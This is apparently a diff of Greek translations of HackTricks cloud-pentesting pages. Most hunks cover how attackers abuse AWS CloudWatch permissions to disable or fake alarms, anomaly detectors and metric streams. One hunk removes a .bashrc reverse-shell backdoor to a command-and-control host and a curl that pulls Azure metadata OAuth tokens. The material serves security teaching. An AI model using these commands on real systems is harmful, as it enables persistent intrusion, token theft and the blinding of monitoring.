**CloudWatch Dashboards** παρέχουν προσαρμόσιμες **εικόνες των metrics του AWS CloudWatch**. Είναι δυνατή η δημιουργία και ρύθμιση dashboards για την οπτικοποίηση δεδομένων και την παρακολούθηση πόρων σε μία μόνο εικόνα, συνδυάζοντας διάφορα metrics από διάφορες υπηρεσίες AWS.
|
||||
|
||||
**Κύρια Χαρακτηριστικά**:
|
||||
|
||||
@@ -66,9 +66,9 @@
|
||||
|
||||
### Metric Stream and Metric Data
|
||||
|
||||
**Metric Streams** στο AWS CloudWatch σας επιτρέπουν να μεταδίδετε συνεχώς τα metrics CloudWatch σε έναν προορισμό της επιλογής σας σε σχεδόν πραγματικό χρόνο. Αυτό είναι ιδιαίτερα χρήσιμο για προηγμένη παρακολούθηση, αναλύσεις και προσαρμοσμένα dashboards χρησιμοποιώντας εργαλεία εκτός του AWS.
|
||||
**Metric Streams** στο AWS CloudWatch σας επιτρέπουν να μεταδίδετε συνεχώς τα metrics του CloudWatch σε έναν προορισμό της επιλογής σας σε σχεδόν πραγματικό χρόνο. Αυτό είναι ιδιαίτερα χρήσιμο για προηγμένη παρακολούθηση, αναλύσεις και προσαρμοσμένα dashboards χρησιμοποιώντας εργαλεία εκτός του AWS.
|
||||
|
||||
**Metric Data** μέσα στα Metric Streams αναφέρεται στις πραγματικές μετρήσεις ή σημεία δεδομένων που μεταδίδονται. Αυτά τα σημεία δεδομένων αντιπροσωπεύουν διάφορα metrics όπως CPU utilization, χρήση μνήμης, κ.λπ., για πόρους AWS.
|
||||
**Metric Data** μέσα στα Metric Streams αναφέρεται στις πραγματικές μετρήσεις ή σημεία δεδομένων που μεταδίδονται. Αυτά τα σημεία δεδομένων αντιπροσωπεύουν διάφορα metrics όπως η χρήση CPU, η χρήση μνήμης, κ.λπ., για τους πόρους AWS.
|
||||
|
||||
**Παράδειγμα Χρήσης**:
|
||||
|
||||
@@ -88,11 +88,11 @@
|
||||
|
||||
**Παράδειγμα Χρήσης**:
|
||||
|
||||
- Παρακολούθηση της CPU utilization ενός EC2 instance και αποστολή ειδοποίησης μέσω SNS αν υπερβεί το 80% για 5 συνεχόμενα λεπτά.
|
||||
- Παρακολούθηση της χρήσης CPU ενός EC2 instance και αποστολή ειδοποίησης μέσω SNS εάν υπερβεί το 80% για 5 συνεχόμενα λεπτά.
|
||||
|
||||
### Anomaly Detectors
|
||||
|
||||
**Anomaly Detectors** χρησιμοποιούν μηχανική μάθηση για να ανιχνεύσουν αυτόματα ανωμαλίες στα metrics σας. Μπορείτε να εφαρμόσετε ανίχνευση ανωμαλιών σε οποιοδήποτε metric CloudWatch για να εντοπίσετε αποκλίσεις από κανονικά πρότυπα που μπορεί να υποδηλώνουν προβλήματα.
|
||||
**Anomaly Detectors** χρησιμοποιούν μηχανική μάθηση για να ανιχνεύσουν αυτόματα ανωμαλίες στα metrics σας. Μπορείτε να εφαρμόσετε ανίχνευση ανωμαλιών σε οποιοδήποτε metric του CloudWatch για να εντοπίσετε αποκλίσεις από κανονικά πρότυπα που μπορεί να υποδηλώνουν προβλήματα.
|
||||
|
||||
**Κύρια Στοιχεία**:
|
||||
|
||||
@@ -101,26 +101,26 @@
|
||||
|
||||
**Παράδειγμα Χρήσης**:
|
||||
|
||||
- Ανίχνευση ασυνήθιστων προτύπων CPU utilization σε ένα EC2 instance που μπορεί να υποδηλώνει παραβίαση ασφάλειας ή πρόβλημα εφαρμογής.
|
||||
- Ανίχνευση ασυνήθιστων προτύπων χρήσης CPU σε ένα EC2 instance που μπορεί να υποδηλώνει παραβίαση ασφάλειας ή πρόβλημα εφαρμογής.
|
||||
|
||||
### Insight Rules and Managed Insight Rules
|
||||
|
||||
**Insight Rules** σας επιτρέπουν να εντοπίζετε τάσεις, να ανιχνεύετε αιχμές ή άλλα ενδιαφέροντα πρότυπα στα δεδομένα metrics σας χρησιμοποιώντας **ισχυρές μαθηματικές εκφράσεις** για να καθορίσετε τις συνθήκες υπό τις οποίες θα πρέπει να ληφθούν ενέργειες. Αυτοί οι κανόνες μπορούν να σας βοηθήσουν να εντοπίσετε ανωμαλίες ή ασυνήθιστες συμπεριφορές στην απόδοση και τη χρήση των πόρων σας.
|
||||
**Insight Rules** σας επιτρέπουν να εντοπίζετε τάσεις, να ανιχνεύετε αιχμές ή άλλα ενδιαφέροντα πρότυπα στα δεδομένα metrics σας χρησιμοποιώντας **ισχυρές μαθηματικές εκφράσεις** για να καθορίσετε τις συνθήκες υπό τις οποίες θα πρέπει να ληφθούν ενέργειες. Αυτοί οι κανόνες μπορούν να σας βοηθήσουν να εντοπίσετε ανωμαλίες ή ασυνήθιστες συμπεριφορές στην απόδοση και την αξιοποίηση των πόρων σας.
|
||||
|
||||
**Managed Insight Rules** είναι προκαθορισμένοι **κανόνες insight που παρέχονται από το AWS**. Είναι σχεδιασμένοι να παρακολουθούν συγκεκριμένες υπηρεσίες AWS ή κοινές περιπτώσεις χρήσης και μπορούν να ενεργοποιηθούν χωρίς να απαιτείται λεπτομερής ρύθμιση.
|
||||
**Managed Insight Rules** είναι προρυθμισμένοι **κανόνες insight που παρέχονται από το AWS**. Είναι σχεδιασμένοι για να παρακολουθούν συγκεκριμένες υπηρεσίες AWS ή κοινές περιπτώσεις χρήσης και μπορούν να ενεργοποιηθούν χωρίς να απαιτείται λεπτομερής ρύθμιση.
|
||||
|
||||
**Παράδειγμα Χρήσης**:
|
||||
|
||||
- Παρακολούθηση Απόδοσης RDS: Ενεργοποιήστε έναν διαχειριζόμενο κανόνα insight για το Amazon RDS που παρακολουθεί βασικούς δείκτες απόδοσης όπως CPU utilization, χρήση μνήμης και δίσκου I/O. Εάν οποιοδήποτε από αυτά τα metrics υπερβεί ασφαλή λειτουργικά όρια, ο κανόνας μπορεί να ενεργοποιήσει μια ειδοποίηση ή αυτοματοποιημένη ενέργεια μετριασμού.
|
||||
- Παρακολούθηση Απόδοσης RDS: Ενεργοποιήστε έναν διαχειριζόμενο κανόνα insight για το Amazon RDS που παρακολουθεί βασικούς δείκτες απόδοσης όπως η χρήση CPU, η χρήση μνήμης και η δισκοεισαγωγή/εξαγωγή. Εάν οποιοδήποτε από αυτά τα metrics υπερβεί ασφαλή λειτουργικά όρια, ο κανόνας μπορεί να ενεργοποιήσει μια ειδοποίηση ή μια αυτοματοποιημένη ενέργεια μετριασμού.
|
||||
|
||||
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
|
||||
|
||||
Επιτρέπει να **συγκεντρώνετε και να παρακολουθείτε logs από εφαρμογές** και συστήματα από **υπηρεσίες AWS** (συμπεριλαμβανομένου του CloudTrail) και **από εφαρμογές/συστήματα** (**CloudWatch Agent** μπορεί να εγκατασταθεί σε έναν host). Τα logs μπορούν να **αποθηκεύονται επ' αόριστον** (ανάλογα με τις ρυθμίσεις του Log Group) και μπορούν να εξαχθούν.
|
||||
|
||||
**Στοιχεία**:
|
||||
|
||||
| **Log Group** | Μια **συλλογή ροών logs** που μοιράζονται τις ίδιες ρυθμίσεις διατήρησης, παρακολούθησης και ελέγχου πρόσβασης |
|
||||
| Όρος | Ορισμός |
|
||||
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Log Group** | Μια **συλλογή ροών logs** που μοιράζονται τις ίδιες ρυθμίσεις διατήρησης, παρακολούθησης και ελέγχου πρόσβασης |
|
||||
| **Log Stream** | Μια ακολουθία **γεγονότων logs** που μοιράζονται την **ίδια πηγή** |
|
||||
| **Subscription Filters** | Ορίζουν ένα **μοτίβο φίλτρου που ταιριάζει με γεγονότα** σε μια συγκεκριμένη ομάδα logs, στέλνοντάς τα σε ροή Kinesis Data Firehose, ροή Kinesis ή μια λειτουργία Lambda |
|
||||
|
||||
@@ -131,10 +131,10 @@
|
||||
|
||||
### Agent Installation
|
||||
|
||||
Μπορείτε να εγκαταστήσετε agents μέσα στις μηχανές/containers σας για να στέλνετε αυτόματα τα logs πίσω στο CloudWatch.
|
||||
Μπορείτε να εγκαταστήσετε agents μέσα στις μηχανές/δοχεία σας για να στέλνετε αυτόματα τα logs πίσω στο CloudWatch.
|
||||
|
||||
- **Δημιουργήστε** έναν **ρόλο** και **συνδέστε** τον με το **instance** με δικαιώματα που επιτρέπουν στο CloudWatch να συλλέγει δεδομένα από τα instances εκτός από την αλληλεπίδραση με τον AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
|
||||
- **Κατεβάστε** και **εγκαταστήστε** τον **agent** στο EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Μπορείτε να τον κατεβάσετε από μέσα στο EC2 ή να τον εγκαταστήσετε αυτόματα χρησιμοποιώντας τον AWS System Manager επιλέγοντας το πακέτο AWS-ConfigureAWSPackage
|
||||
- **Δημιουργήστε** έναν **ρόλο** και **συνδέστε** τον με το **instance** με δικαιώματα που επιτρέπουν στο CloudWatch να συλλέγει δεδομένα από τα instances εκτός από την αλληλεπίδραση με τον AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
|
||||
- **Κατεβάστε** και **εγκαταστήστε** τον **agent** στο EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Μπορείτε να το κατεβάσετε από μέσα στο EC2 ή να το εγκαταστήσετε αυτόματα χρησιμοποιώντας τον AWS Systems Manager επιλέγοντας το πακέτο AWS-ConfigureAWSPackage
|
||||
- **Ρυθμίστε** και **εκκινήστε** τον CloudWatch Agent
|
||||
|
||||
Μια ομάδα logs έχει πολλές ροές. Μια ροή έχει πολλά γεγονότα. Και μέσα σε κάθε ροή, τα γεγονότα διασφαλίζονται ότι είναι σε σειρά.
|
||||
@@ -216,9 +216,9 @@ aws events list-event-buses
|
||||
|
||||
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
|
||||
|
||||
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να υπονομεύσει σημαντικά την υποδομή παρακολούθησης και ειδοποίησης ενός οργανισμού. Διαγράφοντας υπάρχουσες ειδοποιήσεις, ένας επιτιθέμενος θα μπορούσε να απενεργοποιήσει κρίσιμες ειδοποιήσεις που ενημερώνουν τους διαχειριστές για κρίσιμα ζητήματα απόδοσης, παραβιάσεις ασφαλείας ή αποτυχίες λειτουργίας. Επιπλέον, δημιουργώντας ή τροποποιώντας ειδοποιήσεις μετρικών, ο επιτιθέμενος θα μπορούσε επίσης να παραπλανήσει τους διαχειριστές με ψευδείς ειδοποιήσεις ή να σιωπήσει νόμιμες ειδοποιήσεις, καλύπτοντας αποτελεσματικά κακόβουλες δραστηριότητες και αποτρέποντας έγκαιρες αντιδράσεις σε πραγματικά περιστατικά.
|
||||
Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να υπονομεύσει σημαντικά την υποδομή παρακολούθησης και ειδοποίησης ενός οργανισμού. Διαγράφοντας υπάρχουσες ειδοποιήσεις, ένας επιτιθέμενος θα μπορούσε να απενεργοποιήσει κρίσιμες ειδοποιήσεις που ενημερώνουν τους διαχειριστές για κρίσιμα ζητήματα απόδοσης, παραβιάσεις ασφαλείας ή λειτουργικές αποτυχίες. Επιπλέον, δημιουργώντας ή τροποποιώντας ειδοποιήσεις μετρήσεων, ο επιτιθέμενος θα μπορούσε επίσης να παραπλανήσει τους διαχειριστές με ψευδείς ειδοποιήσεις ή να σιωπήσει νόμιμες ειδοποιήσεις, καλύπτοντας αποτελεσματικά κακόβουλες δραστηριότητες και αποτρέποντας έγκαιρες αντιδράσεις σε πραγματικά περιστατικά.
|
||||
|
||||
Επιπλέον, με την άδεια **`cloudwatch:PutCompositeAlarm`**, ένας επιτιθέμενος θα ήταν σε θέση να δημιουργήσει έναν βρόχο ή κύκλο σύνθετων ειδοποιήσεων, όπου η σύνθετη ειδοποίηση A εξαρτάται από τη σύνθετη ειδοποίηση B, και η σύνθετη ειδοποίηση B εξαρτάται επίσης από τη σύνθετη ειδοποίηση A. Σε αυτό το σενάριο, δεν είναι δυνατό να διαγραφεί καμία σύνθετη ειδοποίηση που είναι μέρος του κύκλου, επειδή πάντα υπάρχει μια σύνθετη ειδοποίηση που εξαρτάται από αυτήν την ειδοποίηση που θέλετε να διαγράψετε.
|
||||
Επιπλέον, με την άδεια **`cloudwatch:PutCompositeAlarm`**, ένας επιτιθέμενος θα ήταν σε θέση να δημιουργήσει έναν βρόχο ή κύκλο σύνθετων ειδοποιήσεων, όπου η σύνθετη ειδοποίηση A εξαρτάται από τη σύνθετη ειδοποίηση B, και η σύνθετη ειδοποίηση B εξαρτάται επίσης από τη σύνθετη ειδοποίηση A. Σε αυτό το σενάριο, δεν είναι δυνατόν να διαγραφεί καμία σύνθετη ειδοποίηση που είναι μέρος του κύκλου, διότι πάντα υπάρχει μια σύνθετη ειδοποίηση που εξαρτάται από αυτήν την ειδοποίηση που θέλετε να διαγράψετε.
|
||||
```bash
|
||||
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
|
||||
aws cloudwatch delete-alarms --alarm-names <value>
|
||||
@@ -226,8 +226,8 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
```
|
||||
Το παρακάτω παράδειγμα δείχνει πώς να καταστήσετε μια μετρική ειδοποίηση αναποτελεσματική:
|
||||
|
||||
- Αυτή η μετρική ειδοποίηση παρακολουθεί τη μέση χρήση CPU μιας συγκεκριμένης EC2 παρουσίας, αξιολογεί τη μετρική κάθε 300 δευτερόλεπτα και απαιτεί 6 περιόδους αξιολόγησης (30 λεπτά συνολικά). Εάν η μέση χρήση CPU υπερβαίνει το 60% για τουλάχιστον 4 από αυτές τις περιόδους, η ειδοποίηση θα ενεργοποιηθεί και θα στείλει μια ειδοποίηση στο καθορισμένο θέμα SNS.
|
||||
- Με την τροποποίηση του Threshold να είναι πάνω από 99%, ρυθμίζοντας την Περίοδο σε 10 δευτερόλεπτα, τις Περιόδους Αξιολόγησης σε 8640 (καθώς 8640 περίοδοι των 10 δευτερολέπτων ισοδυναμούν με 1 ημέρα), και τα Datapoints to Alarm σε 8640 επίσης, θα ήταν απαραίτητο η χρήση CPU να είναι πάνω από 99% κάθε 10 δευτερόλεπτα καθ' όλη τη διάρκεια της 24ωρης περιόδου για να ενεργοποιηθεί μια ειδοποίηση.
|
||||
- Αυτή η μετρική ειδοποίηση παρακολουθεί τη μέση χρήση CPU μιας συγκεκριμένης EC2 instance, αξιολογεί τη μετρική κάθε 300 δευτερόλεπτα και απαιτεί 6 περιόδους αξιολόγησης (30 λεπτά συνολικά). Εάν η μέση χρήση CPU υπερβαίνει το 60% για τουλάχιστον 4 από αυτές τις περιόδους, η ειδοποίηση θα ενεργοποιηθεί και θα στείλει μια ειδοποίηση στο καθορισμένο SNS topic.
|
||||
- Με την τροποποίηση του Threshold να είναι πάνω από 99%, ρυθμίζοντας την Period σε 10 δευτερόλεπτα, τις Evaluation Periods σε 8640 (καθώς 8640 περίοδοι των 10 δευτερολέπτων ισοδυναμούν με 1 ημέρα), και τα Datapoints to Alarm σε 8640 επίσης, θα ήταν απαραίτητο η χρήση CPU να είναι πάνω από 99% κάθε 10 δευτερόλεπτα καθ' όλη τη διάρκεια της 24ωρης περιόδου για να ενεργοποιηθεί μια ειδοποίηση.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Original Metric Alarm" }}
|
||||
@@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Τροποποιημένος Συναγερμός Μετρικής" }}
|
||||
{{#tab name="Modified Metric Alarm" }}
|
||||
```json
|
||||
{
|
||||
"Namespace": "AWS/EC2",
|
||||
@@ -281,13 +281,13 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
|
||||
|
||||
**Πιθανές Επιπτώσεις**: Έλλειψη ειδοποιήσεων για κρίσιμα γεγονότα, πιθανές μη ανιχνευμένες προβλήματα, ψευδείς ειδοποιήσεις, καταστολή γνήσιων ειδοποιήσεων και πιθανώς χαμένες ανιχνεύσεις πραγματικών περιστατικών.
|
||||
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`**
|
||||
|
||||
Διαγράφοντας τις ενέργειες συναγερμού, ο επιτιθέμενος θα μπορούσε να αποτρέψει κρίσιμες ειδοποιήσεις και αυτοματοποιημένες αντιδράσεις από το να ενεργοποιηθούν όταν επιτευχθεί μια κατάσταση συναγερμού, όπως η ειδοποίηση των διαχειριστών ή η ενεργοποίηση δραστηριοτήτων αυτόματης κλιμάκωσης. Η ακατάλληλη ενεργοποίηση ή επανενεργοποίηση των ενεργειών συναγερμού θα μπορούσε επίσης να οδηγήσει σε απροσδόκητες συμπεριφορές, είτε επανενεργοποιώντας προηγουμένως απενεργοποιημένες ενέργειες είτε τροποποιώντας ποιες ενέργειες ενεργοποιούνται, προκαλώντας πιθανώς σύγχυση και παραπλάνηση στην αντίδραση σε περιστατικά.
|
||||
Διαγράφοντας τις ενέργειες συναγερμού, ο επιτιθέμενος θα μπορούσε να αποτρέψει κρίσιμες ειδοποιήσεις και αυτοματοποιημένες αντιδράσεις από το να ενεργοποιηθούν όταν επιτευχθεί μια κατάσταση συναγερμού, όπως η ειδοποίηση των διαχειριστών ή η ενεργοποίηση δραστηριοτήτων αυτόματης κλιμάκωσης. Η ακατάλληλη ενεργοποίηση ή επαναφορά ενεργειών συναγερμού θα μπορούσε επίσης να οδηγήσει σε απροσδόκητες συμπεριφορές, είτε επανενεργοποιώντας προηγουμένως απενεργοποιημένες ενέργειες είτε τροποποιώντας ποιες ενέργειες ενεργοποιούνται, προκαλώντας πιθανή σύγχυση και παραπλάνηση στην αντίδραση σε περιστατικά.
|
||||
|
||||
Επιπλέον, ένας επιτιθέμενος με την άδεια θα μπορούσε να χειριστεί τις καταστάσεις συναγερμού, έχοντας τη δυνατότητα να δημιουργήσει ψευδείς συναγερμούς για να αποσπάσει και να μπερδέψει τους διαχειριστές, ή να σιωπήσει γνήσιους συναγερμούς για να κρύψει συνεχιζόμενες κακόβουλες δραστηριότητες ή κρίσιμες αποτυχίες συστήματος.
|
||||
Επιπλέον, ένας επιτιθέμενος με την άδεια θα μπορούσε να χειριστεί τις καταστάσεις συναγερμού, έχοντας τη δυνατότητα να δημιουργήσει ψευδείς συναγερμούς για να αποσπάσει και να μπερδέψει τους διαχειριστές, ή να σιγήσει γνήσιους συναγερμούς για να κρύψει συνεχιζόμενες κακόβουλες δραστηριότητες ή κρίσιμες αποτυχίες συστήματος.
|
||||
|
||||
- Εάν χρησιμοποιήσετε **`SetAlarmState`** σε έναν σύνθετο συναγερμό, ο σύνθετος συναγερμός δεν είναι εγγυημένο ότι θα επιστρέψει στην πραγματική του κατάσταση. Επιστρέφει στην πραγματική του κατάσταση μόνο όταν αλλάξει κατάσταση οποιοσδήποτε από τους παιδικούς του συναγερμούς. Επίσης, επαναξιολογείται εάν ενημερώσετε τη διαμόρφωσή του.
|
||||
- Εάν χρησιμοποιήσετε **`SetAlarmState`** σε έναν σύνθετο συναγερμό, ο σύνθετος συναγερμός δεν είναι εγγυημένο ότι θα επιστρέψει στην πραγματική του κατάσταση. Επιστρέφει στην πραγματική του κατάσταση μόνο όταν αλλάξει η κατάσταση οποιουδήποτε από τα παιδιά του συναγερμούς. Επίσης, επαναξιολογείται εάν ενημερώσετε τη διαμόρφωσή του.
|
||||
```bash
|
||||
aws cloudwatch disable-alarm-actions --alarm-names <value>
|
||||
aws cloudwatch enable-alarm-actions --alarm-names <value>
|
||||
@@ -297,7 +297,7 @@ aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM |
|
||||
|
||||
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να υπονομεύσει την ικανότητα ανίχνευσης και αντίδρασης σε ασυνήθιστους τύπους ή ανωμαλίες στα δεδομένα μετρήσεων. Διαγράφοντας υπάρχοντες ανιχνευτές ανωμαλιών, ένας επιτιθέμενος θα μπορούσε να απενεργοποιήσει κρίσιμους μηχανισμούς ειδοποίησης; και δημιουργώντας ή τροποποιώντας τους, θα μπορούσε είτε να παραμορφώσει τη ρύθμιση είτε να δημιουργήσει ψευδείς θετικούς για να αποσπάσει ή να κατακλύσει την παρακολούθηση.
|
||||
Ένας επιτιθέμενος θα μπορούσε να συμβιβάσει την ικανότητα ανίχνευσης και αντίδρασης σε ασυνήθιστους τύπους ή ανωμαλίες στα δεδομένα μετρήσεων. Διαγράφοντας υπάρχοντες ανιχνευτές ανωμαλιών, ένας επιτιθέμενος θα μπορούσε να απενεργοποιήσει κρίσιμους μηχανισμούς ειδοποίησης; και δημιουργώντας ή τροποποιώντας τους, θα μπορούσε είτε να παραμορφώσει τη ρύθμιση είτε να δημιουργήσει ψευδείς θετικούς για να αποσπάσει ή να κατακλύσει την παρακολούθηση.
|
||||
```bash
|
||||
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
|
||||
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
|
||||
@@ -323,7 +323,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Τροποποιημένος Ανιχνευτής Ανωμαλιών Μετρικών" }}
|
||||
{{#tab name="Modified Metric Anomaly Detector" }}
|
||||
```json
|
||||
{
|
||||
"SingleMetricAnomalyDetector": {
|
||||
@@ -383,13 +383,13 @@ aws cloudwatch enable-insight-rules --rule-names <value>
|
||||
|
||||
### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`**
|
||||
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** θα μπορούσε να δημιουργήσει και να διαγράψει ροές δεδομένων μετρικών, θέτοντας σε κίνδυνο την ασφάλεια, την παρακολούθηση και την ακεραιότητα των δεδομένων:
|
||||
Ένας επιτιθέμενος με τα δικαιώματα **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** θα μπορούσε να δημιουργήσει και να διαγράψει ροές δεδομένων μετρήσεων, θέτοντας σε κίνδυνο την ασφάλεια, την παρακολούθηση και την ακεραιότητα των δεδομένων:
|
||||
|
||||
- **Δημιουργία κακόβουλων ροών**: Δημιουργία ροών μετρικών για αποστολή ευαίσθητων δεδομένων σε μη εξουσιοδοτημένους προορισμούς.
|
||||
- **Εκμετάλλευση πόρων**: Η δημιουργία νέων ροών μετρικών με υπερβολικά δεδομένα θα μπορούσε να παράγει πολύ θόρυβο, προκαλώντας λανθασμένες ειδοποιήσεις, καλύπτοντας αληθινά ζητήματα.
|
||||
- **Διακοπή παρακολούθησης**: Διαγράφοντας ροές μετρικών, οι επιτιθέμενοι θα διαταράξουν τη συνεχή ροή δεδομένων παρακολούθησης. Με αυτόν τον τρόπο, οι κακόβουλες δραστηριότητές τους θα κρύβονται αποτελεσματικά.
|
||||
- **Δημιουργία κακόβουλων ροών**: Δημιουργία ροών μετρήσεων για την αποστολή ευαίσθητων δεδομένων σε μη εξουσιοδοτημένους προορισμούς.
|
||||
- **Εκμετάλλευση πόρων**: Η δημιουργία νέων ροών μετρήσεων με υπερβολικά δεδομένα θα μπορούσε να παράγει πολύ θόρυβο, προκαλώντας λανθασμένες ειδοποιήσεις, καλύπτοντας αληθινά ζητήματα.
|
||||
- **Διακοπή παρακολούθησης**: Διαγράφοντας ροές μετρήσεων, οι επιτιθέμενοι θα διαταράξουν τη συνεχή ροή δεδομένων παρακολούθησης. Με αυτόν τον τρόπο, οι κακόβουλες δραστηριότητές τους θα κρύβονται αποτελεσματικά.
|
||||
|
||||
Ομοίως, με την άδεια **`cloudwatch:PutMetricData`**, θα ήταν δυνατό να προστεθούν δεδομένα σε μια ροή μετρικών. Αυτό θα μπορούσε να οδηγήσει σε DoS λόγω της ποσότητας ακατάλληλων δεδομένων που προστίθενται, καθιστώντας την εντελώς άχρηστη.
|
||||
Ομοίως, με την άδεια **`cloudwatch:PutMetricData`**, θα ήταν δυνατό να προστεθούν δεδομένα σε μια ροή μετρήσεων. Αυτό θα μπορούσε να οδηγήσει σε DoS λόγω της ποσότητας ακατάλληλων δεδομένων που προστίθενται, καθιστώντας την εντελώς άχρηστη.
|
||||
```bash
|
||||
aws cloudwatch delete-metric-stream --name <value>
|
||||
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
|
||||
@@ -399,11 +399,11 @@ aws cloudwatch put-metric-data --namespace <value> [--metric-data <value>] [--me
|
||||
```bash
|
||||
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
|
||||
```
|
||||
**Πιθανές Επιπτώσεις**: Διαταραχή στη ροή των δεδομένων παρακολούθησης, επηρεάζοντας την ανίχνευση ανωμαλιών και περιστατικών, χειρισμός πόρων και αύξηση κόστους λόγω της δημιουργίας υπερβολικών ροών μετρήσεων.
|
||||
**Πιθανές Επιπτώσεις**: Διακοπή στη ροή των δεδομένων παρακολούθησης, επηρεάζοντας την ανίχνευση ανωμαλιών και περιστατικών, χειρισμός πόρων και αύξηση κόστους λόγω της δημιουργίας υπερβολικών ροών μετρήσεων.
|
||||
|
||||
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να ελέγξει τη ροή των επηρεαζόμενων ροών δεδομένων μετρήσεων (κάθε ροή δεδομένων αν δεν υπάρχει περιορισμός πόρων). Με την άδεια **`cloudwatch:StopMetricStreams`**, οι επιτιθέμενοι θα μπορούσαν να κρύψουν τις κακόβουλες δραστηριότητές τους σταματώντας κρίσιμες ροές μετρήσεων.
|
||||
Ένας επιτιθέμενος θα ελέγχει τη ροή των επηρεαζόμενων ροών δεδομένων μετρήσεων (κάθε ροή δεδομένων αν δεν υπάρχει περιορισμός πόρων). Με την άδεια **`cloudwatch:StopMetricStreams`**, οι επιτιθέμενοι θα μπορούσαν να κρύψουν τις κακόβουλες δραστηριότητές τους σταματώντας κρίσιμες ροές μετρήσεων.
|
||||
```bash
|
||||
aws cloudwatch stop-metric-streams --names <value>
|
||||
aws cloudwatch start-metric-streams --names <value>
|
||||
|
||||
@@ -10,21 +10,13 @@
|
||||
* **Startup Scripts**: Αρχεία όπως το .bashrc εκτελούνται αυτόματα στην αρχή κάθε συνεδρίας, επιτρέποντας τη μόνιμη εκτέλεση όταν ξεκινά το cloud shell.
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Αυτή η πίσω πόρτα μπορεί να εκτελεί εντολές ακόμη και 5 λεπτά μετά την ολοκλήρωση του cloud shell από τον χρήστη.
|
||||
|
||||
Επιπλέον, ερωτήστε την υπηρεσία μεταδεδομένων του Azure για λεπτομέρειες και tokens της παρουσίας:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
../az-services/az-storage.md
|
||||
{{#endref}}
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
|
||||
|
||||
Ένας κύριος με αυτή την άδεια θα μπορεί να **καταγράψει** τα blobs (αρχεία) μέσα σε ένα κοντέινερ και να **κατεβάσει** τα αρχεία που μπορεί να περιέχουν **ευαίσθητες πληροφορίες**.
|
||||
```bash
|
||||
@@ -24,9 +24,9 @@ az storage blob download \
|
||||
--container-name <container-name> \
|
||||
-n file.txt --auth-mode login
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
|
||||
### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
|
||||
|
||||
